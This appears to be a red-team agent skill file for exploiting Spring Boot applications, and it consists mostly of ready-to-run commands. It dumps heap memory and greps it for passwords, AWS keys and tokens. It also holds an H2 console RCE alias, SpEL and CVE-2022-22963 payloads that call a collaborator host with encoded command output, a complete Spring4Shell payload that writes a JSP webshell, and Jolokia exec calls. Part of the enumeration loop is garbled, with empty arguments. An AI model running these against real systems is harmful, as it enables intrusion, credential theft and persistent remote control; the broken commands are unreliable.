hunt-springboot

name	hunt-springboot
description	Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
category	redteam
tags	["springboot","hunt","redteam","java"]

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

Crown Jewel Targets

Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.

Highest-value findings:

• /actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
• /actuator/env — lists all environment variables and Spring properties including secrets
• /actuator/shutdown — POST → shuts down the application (Critical availability impact)
• H2 Console (/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
• SpEL injection — Spring Expression Language in template fields, @Value annotations, SpEL-processed request params → RCE
• Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

---

Phase 1 — Fingerprint Spring Boot

# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

---

Phase 2 — Actuator Endpoint Enumeration

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; 
     
  



curl --max-time 30 --connect-timeout 10 -s  | python3 -m json.tool 2>/dev/null | grep -i  |  -20


curl --max-time 30 --connect-timeout 10 -s  | python3 -m json.tool 2>/dev/null | grep -Eo  | 


curl --max-time 30 --connect-timeout 10 -s  | python3 -m json.tool 2>/dev/null |  -100

---

Phase 3 — Heap Dump Analysis

# Download heap dump (can be large — 100MB+)
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -Eo "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

---

Phase 4 — H2 Console RCE

# H2 console detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

---

Phase 5 — SpEL Injection

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

---

Phase 6 — Spring4Shell (CVE-2022-22965)

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

---

Phase 7 — Jolokia JMX Exposure

# Jolokia provides HTTP access to JMX MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

---

Chain Table

Spring Boot finding	Chain to	Impact
/actuator/heapdump	Extract DB passwords, API keys from memory	Critical credential exfil
/actuator/env	Read all env vars including secrets	High
H2 console accessible	CREATE ALIAS → RCE	Critical
SpEL injection	T(Runtime).exec() → OS command	Critical RCE
Spring4Shell	Write webshell → RCE	Critical
Jolokia + MLet	Remote code via MBean	Critical RCE

---

Validation

✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file ✅ Actuator/env: secrets visible in JSON response ✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received ✅ H2 console: SQL executed, id output returned

Severity:

• Heapdump with credentials: Critical
• SpEL RCE: Critical
• H2 console RCE: Critical
• Actuator env (passwords exposed): High
• Mappings disclosure only: Low-Medium

---

Verification

Run this self-test to confirm springboot hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-springboot" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

---

Pitfalls

• Actuator endpoints without sensitive data — /actuator/health or /actuator/info are intentionally public. Need /actuator/env, /actuator/heapdump, or /actuator/mappings.
• /actuator/env with sanitized values — Spring Boot 2.x+ sanitizes env values by default. Need unsanitized secrets.
• /actuator/heapdump download — heapdump analysis requires Eclipse MAT or similar. The finding is the dump is accessible, not what it contains (prove with actual extracted secrets).
• /actuator/loggers modification — changing log level to DEBUG can leak sensitive data. Demonstrate the leaked data.
• Spring Boot version without CVE — version disclosure is informational unless paired with a CVE affecting that specific version.